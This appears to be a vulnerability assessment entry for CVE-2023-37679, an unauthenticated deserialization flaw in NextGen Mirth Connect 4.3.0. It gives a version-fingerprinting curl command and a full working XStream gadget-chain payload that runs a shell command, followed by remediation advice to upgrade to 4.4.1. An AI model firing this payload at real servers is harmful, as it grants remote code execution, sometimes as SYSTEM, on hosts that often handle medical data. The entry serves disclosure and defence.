Moderate
CVE-2023-37679
CVE-2023-37679
Description
A remote command execution (RCE) vulnerability in NextGen Mirth Connect v4.3.0 allows attackers to execute arbitrary commands on the hosting server.
Add Assessment
Technical Analysis
Mirth Connect is vulnerable to unauthenticated RCE due to the mishandling of data that is unmarshalled by the XStream library. This vulnerability was originally reported by IHTeam in August 2023. Their report intentionally lacked any details as to the nature of the vulnerability in hopes of preventing its use in ransomware attacks.
This particular vulnerability affects versions <= 4.3.0 of Mirth Connect. A remote attacker can identify the target version using the REST API:
curl --location 'https://192.168.159.128:8443/api/server/version' \ --header 'X-Requested-With: OpenAPI'
Horizon3.ai researchers later determined that the patch for CVE-2023-37679 was incomplete. The Mirth Connect team addressed the issue by implementing a Deny List for the gadget chains published for XStream exploitation. In their writeup, Naveen Sunkavally noted that a common XStream payload was capable of exploiting the CVE-2023-37679 on certain versions of Java. Due to changes in more recent versions of Java however, the payload was not universal. Their writeup discloses a universal payload for exploiting CVE-2023-37679 as well as a payload that bypassed the denylist leading to CVE-2023-43208.
curl --location 'https://192.168.159.128:8443/api/users/' \ --header 'X-Requested-With: OpenAPI' \ --header 'Content-Type: application/xml' \ --header 'Cookie: JSESSIONID=node01d59tmo5726v0tnjjk6jot7161.node0' \ --data '<sorted-set> <string>foo</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>sh</string> <string>-c</string> <string>touch /tmp/success</string> </command> </target> <methodName>start</methodName> <eventTypes/> </handler> </dynamic-proxy> </sorted-set>
CVE-2023-37679 exploit using the XStream payload disclosed by Horizon3.ai
Exploitation of this vulnerability yields code execution in the context of the service account. When run in docker, this is a non-root account; however, when installed on Windows, this is NT AUTHORITY\SYSTEM.
To remediate this vulnerability, users should upgrade to version 4.4.0. Users should be aware, though, that 4.4.0 is vulnerable to CVE-2023-43208 and instead upgrade to 4.4.1 in which there are no publicly disclosed bypasses for this particular vector.
CVSS V3 Severity and Metrics
General Information
Vendors
- nextgen
Products
- mirth connect 4.3.0
Metasploit Modules
